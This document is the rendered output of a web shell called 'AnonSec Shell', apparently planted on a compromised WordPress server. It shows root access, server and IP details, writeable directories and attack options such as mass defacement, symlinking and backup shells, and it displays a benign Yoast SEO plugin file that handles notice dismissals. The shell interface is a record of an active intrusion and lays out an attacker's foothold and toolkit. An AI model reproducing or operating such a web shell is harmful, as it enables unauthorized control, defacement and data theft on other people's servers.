AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/wordpress-seo/admin/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/wordpress-seo/admin/ajax/class-yoast-dismissable-notice.php
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Ajax
 */

/**
 * This class will catch the request to dismiss the target notice (set by notice_name)
 * and will store the dismiss status as an user meta in the database.
 */
class Yoast_Dismissable_Notice_Ajax {

	/**
	 * Notice type toggle value for user notices.
	 *
	 * @var string
	 */
	public const FOR_USER = 'user_meta';

	/**
	 * Notice type toggle value for network notices.
	 *
	 * @var string
	 */
	public const FOR_NETWORK = 'site_option';

	/**
	 * Notice type toggle value for site notices.
	 *
	 * @var string
	 */
	public const FOR_SITE = 'option';

	/**
	 * Name of the notice that will be dismissed.
	 *
	 * @var string
	 */
	private $notice_name;

	/**
	 * The type of the current notice.
	 *
	 * @var string
	 */
	private $notice_type;

	/**
	 * Initialize the hooks for the AJAX request.
	 *
	 * @param string $notice_name The name for the hook to catch the notice.
	 * @param string $notice_type The notice type.
	 */
	public function __construct( $notice_name, $notice_type = self::FOR_USER ) {
		$this->notice_name = $notice_name;
		$this->notice_type = $notice_type;

		add_action( 'wp_ajax_wpseo_dismiss_' . $notice_name, [ $this, 'dismiss_notice' ] );
	}

	/**
	 * Handles the dismiss notice request.
	 *
	 * @return void
	 */
	public function dismiss_notice() {
		check_ajax_referer( 'wpseo-dismiss-' . $this->notice_name );

		$this->save_dismissed();

		wp_die( 'true' );
	}

	/**
	 * Storing the dismissed value in the database. The target location is based on the set notification type.
	 *
	 * @return void
	 */
	private function save_dismissed() {
		if ( $this->notice_type === self::FOR_SITE ) {
			update_option( 'wpseo_dismiss_' . $this->notice_name, 1 );

			return;
		}

		if ( $this->notice_type === self::FOR_NETWORK ) {
			update_site_option( 'wpseo_dismiss_' . $this->notice_name, 1 );

			return;
		}

		update_user_meta( get_current_user_id(), 'wpseo_dismiss_' . $this->notice_name, 1 );
	}
}

Anon7 - 2022
AnonSec Team